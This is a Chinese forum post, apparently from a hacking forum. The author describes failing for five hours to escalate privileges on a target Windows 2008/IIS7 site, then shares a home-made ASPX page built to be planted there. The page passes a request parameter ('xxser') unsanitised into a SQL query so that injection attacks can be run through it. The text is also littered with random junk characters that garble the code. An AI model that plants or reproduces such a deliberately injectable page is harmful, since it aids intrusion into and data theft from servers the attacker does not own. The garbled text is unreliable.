昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
7 F# D7 R1 [. }/ ~8 C. J其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
d$ h; a7 `1 f4 l代码量不多,自己写个拉倒了。烦死了。
+ S2 r# `7 \& r: ?) m
+ H9 D+ }, h: g. a: L; X5 k: A2 a' z) y4 y! Z- }+ }2 M
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">! u6 ` V' ]7 s a4 N
<html xmlns="http://www.w3.org/1999/xhtml">
: B# K2 Z5 P; W+ k# ]1 s, m<head runat="server">
2 ]; S$ }$ t, _1 y- q <title>暗影aspx构造注射专用页面</title>
( a) T9 T6 T3 N</head>! \5 y' g* `) M. D% m
<body>
' M3 h5 u5 r- m# z9 z7 i& g <form id="form1" runat="server">$ H) Q2 k* \! ]$ _9 _
<div>4 | j9 N1 F. `- z b
<script language="c#" runat="server">4 P9 B* `3 ~: _
4 R9 ]/ E2 ~6 ? void page_init(object sender, EventArgs e)) h+ Z4 a" C/ U
{
. Y' I7 O' h9 g# p7 B
5 d1 H- A" w% J( }" R/ M! ? System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
6 b" G& ^* k6 z7 {$ R1 o 8 O: D* n7 \% l7 `, `3 }; I) N- ~ @
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();6 C4 J" I: G3 b7 ~0 z! }
conn.Open();
& O. U1 Z* L2 p* \5 V/ l! r 4 {" P) \# k; z5 u, ` j8 B4 @, j
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
& Q' i$ W V( e9 q: w: k 9 ^/ I; u3 X8 I: l
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);6 H1 A0 x; A8 l+ l% A R! i
int x = command.ExecuteNonQuery();
; w1 w0 ~" Y, v3 r. z( j1 F Response.Write(i+"\n");
( O$ t- B, N! [* E ]: ~ Response.Write(x);* N7 t1 E" d4 D0 h, Y0 d4 m. r
conn.Close();
* F0 l) c4 Z m( i, s }( ^ D, |2 S* ?( V* K
2 _5 [! B% _$ E7 g" e, F; ^* u) a </script>' z# T$ r- y" }( }; k
</div>( H# T) K- k# C @
</form>
+ B6 }& e: f* W" b. u% Y9 o, P</body>. `' \0 e- x- u( o. E* H; X1 x
</html>, g% s% G1 \5 h& x' }( x! _: z7 [
|